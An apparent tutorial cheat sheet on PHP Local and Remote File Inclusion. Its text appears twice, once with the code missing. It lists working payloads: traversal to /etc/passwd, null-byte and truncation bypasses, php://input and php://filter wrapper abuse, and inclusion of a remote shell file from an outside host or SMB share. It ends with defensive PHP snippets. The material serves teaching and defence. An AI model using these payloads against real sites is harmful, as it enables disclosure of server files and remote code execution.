October 27, 2022 at 4:13 AM
Local File Inclusion (LFI)
What does it do?
This exploit allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
This can lead to the contents of the password file but may lead to
- Code execution on the web server
- Code execution on the client-side such as JavaScript which can - lead to other attacks such as cross site scripting (XSS)
- Denial of Service (DoS)
- Sensitive Information Disclosure
This is mostly exploited with a vulnerable php script.
------------------
Methods
------------------
Basic File Inclusion:
We go to example.com and look through the pages and we find something like this:
If the script is something like this
Then we can try:
Including files in the same directory:
Path Traversal:
(this file is very interesting because it lets you search the filesystem, other files)
Including injected PHP code:
Limited LFI
In this case our php code should be something like:
Our strategies can be:
Null Byte Injection:
(requires magic_quotes_gpc=off)
Directory Listing with Null Byte Injection:
Path Truncation:
(http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/)
(http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/)
Dot Truncation:
Reverse Path Truncation:
Basic Remote File Inclusion
If the php code looks like this:
Including Remote Code:
(requires allow_url_fopen=On and allow_url_include=On)
Using PHP stream php://input:
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
Using PHP stream php://filter:
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
Using data URIs:
(requires allow_url_include=On)
Using XSS:
(makes sense if firewalled or only whitelisted domains allowed)
Limited Remote File Inclusion
In these case the php code look like this:
Static Remote File Inclusion:
Here the php code should look like this:
Man In The Middle
(lame indeed, but often forgotten)
Exploiting through PHP php:// wrappers:
Using PHP Protocol Wrappers you tell PHP to use the HTTP POST data as the entry point for it’s include. For example:
Then you can for example include the following code snippet in the POST data:
According to php documentation:
But this only works if your target's PHP configuration is:
But if you search through the php documentation you can find this:
So you can stream the content before the calling function gets to work with it.
So for example this gets the source of the PHP files on the server:
http://php.net/manual/en/wrappers.php.php
http://php.net/manual/en/filters.convert.php
------------------
Defending agains LFI:
------------------
Protecting against this attack vector is hard. The best was is to limit input to pages that are known good.
So for example:
Or you can try urlencode() to sanitize the user input:
So if the attacker would try the attack in out example he would get:
Or an another good approach could be basename() because this ensures only ".php" extension are included but this does not protect against directory traversal.
So we could try:
Another way would be realpath() because this defends against null byte attacks and directory traversals too.
Quick note: Many webdevelopers tend to just use
But this does not defeat attacks like this:
Another approach would be pathinfo: http://www.madirish.net/?article=232
What does it do?
This exploit allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
This can lead to the contents of the password file but may lead to
- Code execution on the web server
- Code execution on the client-side such as JavaScript which can - lead to other attacks such as cross site scripting (XSS)
- Denial of Service (DoS)
- Sensitive Information Disclosure
This is mostly exploited with a vulnerable php script.
------------------
Methods
------------------
Basic File Inclusion:
We go to example.com and look through the pages and we find something like this:
www.example.com/news.php?file=recentnews.htmlIf the script is something like this
<?php include("inc/" . $_GET['file']); ?>Then we can try:
Including files in the same directory:
?file=.htaccessPath Traversal:
?file=../../../../../../../../../var/lib/locate.db(this file is very interesting because it lets you search the filesystem, other files)
Including injected PHP code:
?file=../../../../../../../../../var/log/apache/error.logLimited LFI
In this case our php code should be something like:
<?php include("inc/" . $_GET['file'] . ".htm"); ?>Our strategies can be:
Null Byte Injection:
?file=../../../../../../../../../etc/passwd%00(requires magic_quotes_gpc=off)
Directory Listing with Null Byte Injection:
?file=../../../../../../../../../var/www/accounts/%00
(https://websec.wordpress.com/2009/11/28/freebsd-directory-listing-with-php-file-functions/)Path Truncation:
?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …(http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/)
(http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/)
Dot Truncation:
?file=../../../../../../../../../etc/passwd……………. …Reverse Path Truncation:
?file=../../../../ […] ../../../../../etc/passwdBasic Remote File Inclusion
If the php code looks like this:
<?php include($_GET['file']); ?>Including Remote Code:
?file=[http|https|ftp]://websec.wordpress.com/shell.txt(requires allow_url_fopen=On and allow_url_include=On)
Using PHP stream php://input:
?file=php://input(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
Using PHP stream php://filter:
?file=php://filter/convert.base64-encode/resource=index.php(lets you read PHP source because it wont get evaluated in base64. More details here and here)
Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=(requires allow_url_include=On)
Using XSS:
?file=http://127.0.0.1/path/xss.php?xss=phpcode(makes sense if firewalled or only whitelisted domains allowed)
Limited Remote File Inclusion
In these case the php code look like this:
<?php include($_GET['file'] . ".htm"); ?>?file=https://websec.wordpress.com/shell
?file=https://websec.wordpress.com/shell.txt?
?file=https://websec.wordpress.com/shell.txt%23
(requires allow_url_fopen=On and allow_url_include=On)
?file=\\evilshare\shell.php
(bypasses allow_url_fopen=Off)Static Remote File Inclusion:
Here the php code should look like this:
<?php include("http://192.168.1.10/config.php"); ?>Man In The Middle
(lame indeed, but often forgotten)
Exploiting through PHP php:// wrappers:
Using PHP Protocol Wrappers you tell PHP to use the HTTP POST data as the entry point for it’s include. For example:
www.example.com/news.php?file=php://inputThen you can for example include the following code snippet in the POST data:
<?php phpinfo(); ?>According to php documentation:
php://input allows you to read raw POST data. It is a less memory intensive alternative to $HTTP_RAW_POST_DATA and does not need any special php.ini directives. php://input is not available with enctype=”multipart/form-data”.But this only works if your target's PHP configuration is:
allow_url_include = OnBut if you search through the php documentation you can find this:
php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.So you can stream the content before the calling function gets to work with it.
So for example this gets the source of the PHP files on the server:
www.example.com/news.php?file=php://filter/convert.base64-encode/resource=in.phphttp://php.net/manual/en/wrappers.php.php
http://php.net/manual/en/filters.convert.php
------------------
Defending agains LFI:
------------------
Protecting against this attack vector is hard. The best was is to limit input to pages that are known good.
So for example:
<?php
$files = array('about', 'contact', 'homepage', 'sitemap');
if (in_array($_GET['page'], $files)) {
include_once($files[array_search($_GET['page'], $files)] . '.php');
}
?>Or you can try urlencode() to sanitize the user input:
<?php
include('header.php');
include('pages/' . urlencode($_GET['page']) . '.php');
include('footer.php');
?>So if the attacker would try the attack in out example he would get:
Warning: include(pages/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.php) [function.include]: failed to open stream: No such file or directoryOr an another good approach could be basename() because this ensures only ".php" extension are included but this does not protect against directory traversal.
So we could try:
<?php
include('header.php');
$page = preg_replace('/[^a-z^A-Z^0-9]*/', '', $_GET['page']);
include('pages/' . basename($page) . '.php');
include('footer.php');
?>Another way would be realpath() because this defends against null byte attacks and directory traversals too.
<?php
include('header.php');
include('pages/' . realpath($page) . '.php');
include('footer.php');
?>Quick note: Many webdevelopers tend to just use
<?php
include('header.php');
include('pages/' . str_replace("../", '', ($_GET['page'])) . '.php');
include('footer.php');
?>But this does not defeat attacks like this:
index.php?page=....//....//....//....//....//etc/passwd%00Another approach would be pathinfo: http://www.madirish.net/?article=232
Beneath this mask there is more than flesh. Beneath this mask there is an idea, and ideas are bulletproof.
